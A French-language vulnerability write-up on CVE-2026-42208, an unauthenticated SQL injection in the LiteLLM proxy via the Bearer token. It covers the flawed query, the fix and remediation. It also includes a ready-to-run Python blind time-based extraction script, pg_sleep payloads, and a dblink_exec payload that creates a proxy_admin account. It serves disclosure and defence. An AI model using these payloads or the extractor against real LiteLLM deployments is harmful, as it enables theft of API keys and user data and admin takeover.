Exploit CVE-2026-42208 : injection SQL non authentifiée dans LiteLLM via le token Bearer
Analyse technique de la CVE-2026-42208, une vulnérabilité critique d'injection SQL non authentifiée (CVSS 9,3) dans l'API du proxy LiteLLM. Un défaut de paramétrage du token Bearer dans des requêtes SQL brutes pour des jointures multi-tables complexes permet des attaques temporelles à l'aveugle basées sur des booléens, autorisant des attaquants non authentifiés à exfiltrer des données sensibles comme des clés d'API virtuelles, des informations utilisateur et des journaux de consommation LLM directement depuis la base de données.
Injection SQL non authentifiée dans LiteLLM - PoC et exploit
22 mai 2026 · CVSS 9,3 critique · LiteLLM Proxy
| Identifiant CVE | CVSS | Versions affectées | Version corrigée |
|---|---|---|---|
| CVE-2026-42208 | 9,3 critique (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) | >= 1.81.16, < 1.83.7 | 1.83.7+ |
Vue d'ensemble de la CVE-2026-42208 : injection SQL via token Bearer
LiteLLM est un proxy et une passerelle IA open source largement adoptés qui permettent aux développeurs de gérer l'accès, le routage et le suivi des dépenses auprès de centaines de fournisseurs de LLM (OpenAI, Anthropic, Gemini, etc.) à l'aide d'une interface unifiée.
Une vulnérabilité critique d'injection SQL non authentifiée (SQLi) a été découverte dans la manière dont LiteLLM valide les jetons d'authentification utilisateur. Lorsqu'une application tente d'effectuer un appel d'API vers le proxy (par exemple /v1/chat/completions), elle transmet une clé d'API virtuelle dans l'en-tête Authorization: Bearer <key>. Bien que l'ORM Prisma paramètre de façon sécurisée les requêtes standard, une requête de base de données spécifique et complexe conçue pour rassembler des métadonnées complètes sur les utilisateurs et les équipes interpole manuellement le jeton brut et non assaini dans une chaîne SQL brute. Cet oubli permet à un attaquant non authentifié d'injecter des commandes SQL arbitraires dans la base de données PostgreSQL sous-jacente.
La vulnérabilité : interpolation brute de chaînes SQL
La cause racine de cette vulnérabilité réside dans le middleware d'authentification, plus précisément au sein de la fonction get_data() située dans litellm/proxy/utils.py.
Flux d'authentification et faille
1. Le flux normal (utilisateur légitime)
Lorsqu'un utilisateur légitime effectue une requête avec une clé de proxy valide (par exemple sk-abc123xyz), LiteLLM extrait le jeton et vérifie s'il commence par le préfixe "sk-". Comme c'est le cas, l'application calcule le hachage SHA-256 du jeton et transmet uniquement le hachage à la couche base de données.
2. Le flux d'attaque (injection SQL)
Lorsqu'un attaquant fournit un payload malveillant comme ' OR (SELECT pg_sleep(3)) IS NULL --, l'application vérifie à nouveau la présence du préfixe "sk-". Comme le payload ne commence pas par "sk-", la logique de hachage est totalement contournée. L'application suppose à tort qu'il s'agit simplement d'un format de jeton hérité ou personnalisé et transmet directement le payload SQL brut et non haché à la couche base de données.
Code vulnérable
Pour construire une « vue combinée » du jeton, de l'équipe, du projet, de l'organisation et des limites budgétaires d'un utilisateur, les développeurs ont choisi d'utiliser db.query_raw au lieu des fonctions standards de l'ORM en raison de la complexité des opérations LEFT JOIN requises.
Dans litellm/proxy/utils.py :
elif table_name == "combined_view":
# ...
if query_type == "find_unique":
# ...
sql_query = f"""
SELECT
v.*,
t.spend AS team_spend,
t.max_budget AS team_max_budget,
t.soft_budget AS team_soft_budget,
t.tpm_limit AS team_tpm_limit,
t.rpm_limit AS team_rpm_limit,
t.models AS team_models,
-- [Multiple other SELECTs and JOINs]
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
-- ...
WHERE v.token = '{token}'
"""
response = await self._query_first_with_cached_plan_fallback(sql_query)
En utilisant une f-string Python (f"""... WHERE v.token = '{token}'"""), la variable {token} est directement concaténée dans l'instruction SQL. En l'absence de liaison paramétrée appropriée (par exemple en passant $1), toute chaîne contrôlée par l'utilisateur contenant un guillemet simple (') s'échappe du littéral de chaîne SQL, ce qui conduit à une injection SQL.
Preuve de concept : injection SQL à l'aveugle et attaques temporelles
Comme l'API LiteLLM s'attend à ce qu'un objet jeton valide soit renvoyé par cette requête, toute requête injectée se traduira en fin de compte par un échec d'authentification (401 Unauthorized), masquant la sortie directe de la base de données de la réponse HTTP. Pour extraire des données, un attaquant doit s'appuyer sur des attaques temporelles à l'aveugle basées sur des booléens.
Configuration de test
Pour valider la vulnérabilité en toute sécurité, un environnement de test Docker local a été mis en place en utilisant l'image vulnérable main-v1.83.6-nightly connectée à un backend PostgreSQL 16 :
docker-compose.yml (Extrait)
services:
litellm:
image: ghcr.io/berriai/litellm:main-v1.83.6-nightly
ports:
- "4000:4000"
environment:
- DATABASE_URL=postgresql://llmproxy:dbpassword9090@db:5432/litellm
Envoi du payload
En injectant la fonction pg_sleep() de PostgreSQL, un attaquant peut forcer la base de données à suspendre son exécution, en utilisant le temps de réponse HTTP comme un oracle vrai/faux.
Un payload de PoC simple pour confirmer la vulnérabilité :
' OR (SELECT pg_sleep(3)) IS NULL --
Lorsqu'il est placé dans l'en-tête Authorization: Bearer, le backend exécute :
WHERE v.token = '' OR (SELECT pg_sleep(3)) IS NULL --'
Cela impose un délai de 3 secondes à la réponse du serveur, confirmant ainsi le point d'injection.
Extraction de données par recherche dichotomique (le PoC)
Un attaquant peut extraire systématiquement l'intégralité de la base de données — y compris LiteLLM_SpendLogs (contenant l'historique détaillé d'utilisation des prompts) et LiteLLM_VerificationToken (contenant les identifiants d'API hachés) — en posant à la base de données une série de questions vrai/faux.
En utilisant un algorithme de recherche dichotomique, l'attaquant peut deviner la valeur ASCII de chaque caractère des données ciblées. Vous trouverez ci-dessous un script de preuve de concept complet et configurable en Python qui automatise cette attaque temporelle pour extraire n'importe quelle ligne de n'importe quelle table :
import argparse
import json
import sys
import time
import urllib.request
def test_payload(url, token, sleep_time):
body = json.dumps({"model": "fake", "messages": [{"role": "user", "content": "x"}]}).encode()
req = urllib.request.Request(url, data=body, method="POST",
headers={"Authorization": f"Bearer {token}", "Content-Type": "application/json"})
start = time.time()
try: urllib.request.urlopen(req, timeout=sleep_time + 1)
except: pass
return time.time() - start
def extract_string(url, query, sleep_time=1.0):
extracted = ""
idx = 1
while True:
# Check end of string
check_end = f"' OR (LENGTH(({query})) < {idx} AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
if test_payload(url, check_end, sleep_time) >= sleep_time:
break
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = f"' OR (ASCII(SUBSTRING(({query}), {idx}, 1)) > {mid} AND (SELECT pg_sleep({sleep_time})) IS NOT NULL) --"
if test_payload(url, payload, sleep_time) >= sleep_time:
low = mid + 1
else:
high = mid - 1
extracted += chr(low)
sys.stdout.write(chr(low))
sys.stdout.flush()
idx += 1
print()
return extracted
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="LiteLLM Blind SQLi Data Extractor")
parser.add_argument("--url", default="http://127.0.0.1:4000/v1/chat/completions")
parser.add_argument("--table", default="LiteLLM_VerificationToken", help="Table to extract from")
parser.add_argument("--column", default="token", help="Column to extract")
parser.add_argument("--row", type=int, default=0, help="Row index (OFFSET)")
args = parser.parse_args()
query = f"SELECT {args.column} FROM \"{args.table}\" LIMIT 1 OFFSET {args.row}"
print(f"[*] Extracting: {query}")
extract_string(args.url, query)
L'exécution du script permet d'extraire avec succès les données caractère par caractère depuis le backend, notamment l'adresse e-mail stockée dans la base de données utilisateur :

Figure 1 : exécution du PoC extrayant l'e-mail d'un utilisateur de la base de données utilisateur de LiteLLM via l'attaque temporelle par injection SQL à l'aveugle.
La fuite des journaux de consommation
Un résultat secondaire intéressant lors de cette analyse a révélé que, bien que LiteLLM stocke de manière sécurisée les jetons sk- légitimes sous forme de hachages SHA-256 dans la table LiteLLM_VerificationToken, il enregistre par inadvertance les payloads bruts et non hachés des clés invalides dans la table LiteLLM_SpendLogs. Les clés légitimes restent correctement hachées dans les journaux, mais ce comportement crée une piste d'audit idéale des tentatives d'injection SQL de l'attaquant.
Escalade avancée : RCE et contournement des protections de l'ORM (bon à savoir)
Généralement, les attaquants exploitent les injections SQL pour modifier des données ou élever leurs privilèges à l'aide de requêtes empilées (« stacked queries », par exemple en exécutant plusieurs instructions séparées par un point-virgule ; comme SELECT ... ; INSERT ...).
Dans cet environnement, le pilote de l'ORM Prisma bloque strictement les requêtes empilées, piégeant en apparence l'attaquant dans un contexte SELECT en lecture seule. Cependant, selon les configurations et extensions de PostgreSQL, les attaquants peuvent aggraver considérablement cette situation :
1. RCE via COPY TO PROGRAM
Si la base de données a été mal configurée pour s'exécuter sous un compte superuser (tel que postgres), un attaquant peut contourner l'impossibilité d'exécuter INSERT/UPDATE en ciblant le système d'exploitation hôte. En utilisant la fonctionnalité COPY TO PROGRAM de PostgreSQL ou des fonctions de lecture de fichiers comme pg_read_file(), un attaquant peut exfiltrer des fichiers sensibles (comme des clés SSH ou des variables d'environnement) ou obtenir une exécution de code à distance (RCE) complète sur le serveur de base de données.
2. Contournement des requêtes empilées via dblink
Dans les environnements où l'extension PostgreSQL dblink est activée (une extension courante pour les requêtes entre bases de données), la protection de l'ORM contre les requêtes empilées peut être entièrement contournée. En injectant la fonction dblink_exec() dans l'instruction SELECT, un attaquant peut forcer la base de données à ouvrir une nouvelle connexion indépendante vers elle-même et exécuter une commande INSERT arbitraire :
' OR (SELECT dblink_exec('dbname=litellm ...', 'INSERT INTO "LiteLLM_UserTable" (user_email, password, user_role, ...) VALUES (''hacked@lab.local'', ''scrypt:...'', ''proxy_admin'', ...)')) IS NOT NULL --
Bien que dblink ne soit pas activée par défaut sur toutes les configurations PostgreSQL, cela met en évidence un chemin d'escalade redoutable qui transforme une vulnérabilité d'exfiltration de données en lecture seule en une prise de contrôle administrative totale du tableau de bord LiteLLM.
Le correctif dans LiteLLM 1.83.7
Le comportement corrigé supprime la dangereuse interpolation de chaîne brute. Au lieu d'insérer directement {token} dans la f-string, les développeurs ont mis à jour la requête pour utiliser des liaisons paramétrées ($1), isolant ainsi en toute sécurité le payload de l'attaquant de la syntaxe SQL :
# Fixed Code (LiteLLM 1.83.7+)
sql_query = """
SELECT
v.*,
t.spend AS team_spend,
...
FROM "LiteLLM_VerificationToken" AS v
LEFT JOIN "LiteLLM_TeamTable" AS t ON v.team_id = t.team_id
WHERE v.token = $1
"""
response = await self._query_first_with_cached_plan_fallback(sql_query, token)
Avec cette modification, le pilote de base de données traite le payload purement comme un littéral de chaîne, empêchant tout caractère d'injection de modifier la logique de la requête.
Mesure d'atténuation immédiate
Si la mise à niveau n'est pas possible immédiatement, vous pouvez mettre en œuvre la solution de contournement officielle en définissant disable_error_logs: true sous general_settings dans votre fichier litellm_config.yaml. Cette configuration supprime le chemin spécifique de gestion des erreurs par lequel l'entrée non authentifiée atteint la requête de base de données vulnérable, neutralisant ainsi efficacement le vecteur d'attaque.
Remédiation
- Mettre à jour immédiatement : mettez à niveau votre instance LiteLLM vers la dernière version corrigée (v1.83.7 ou ultérieure) sans attendre. La valeur fournie par l'appelant est désormais transmise en toute sécurité à la base de données sous la forme d'une variable paramétrée distincte.
- Utiliser des requêtes paramétrées : les développeurs doivent éviter l'interpolation de chaînes (
f"...") lors de la construction de requêtes SQL. Fiez-vous toujours aux fonctions de l'ORM ou utilisez une liaison paramétrée ($1) pour les requêtes brutes afin d'empêcher toute manipulation de l'analyse syntaxique SQL. - Durcissement de la base de données : les administrateurs de bases de données doivent supprimer ou restreindre de manière proactive les extensions PostgreSQL telles que
dblink, sauf si elles sont strictement nécessaires. De plus, assurez-vous que l'utilisateur de la base de données (par exemplellmproxy) s'exécute avec le strict minimum de privilèges requis, en empêchant impérativement tout accès superutilisateur ou tout droit d'exécution de fichiers viaCOPY TO PROGRAM. - Surveiller les journaux : auditez
LiteLLM_SpendLogset les journaux de requêtes lentes de la base de données pour détecter des délais anormaux liés àpg_sleepou des payloads SQL bruts apparaissant dans les champsapi_key.
Références
- Avis de sécurité GitHub (GHSA-r75f-5x8p-qvmc) : https://github.com/advisories/GHSA-r75f-5x8p-qvmc
- Version LiteLLM v1.83.7-stable : https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable
- NVD CVE-2026-42208 : https://nvd.nist.gov/vuln/detail/CVE-2026-42208
- Documentation de PostgreSQL dblink : https://www.postgresql.org/docs/current/dblink.html
- Documentation de PostgreSQL COPY : https://www.postgresql.org/docs/current/sql-copy.html
- CWE-89: Improper Neutralization of Input in SQL Command : https://cwe.mitre.org/data/definitions/89.html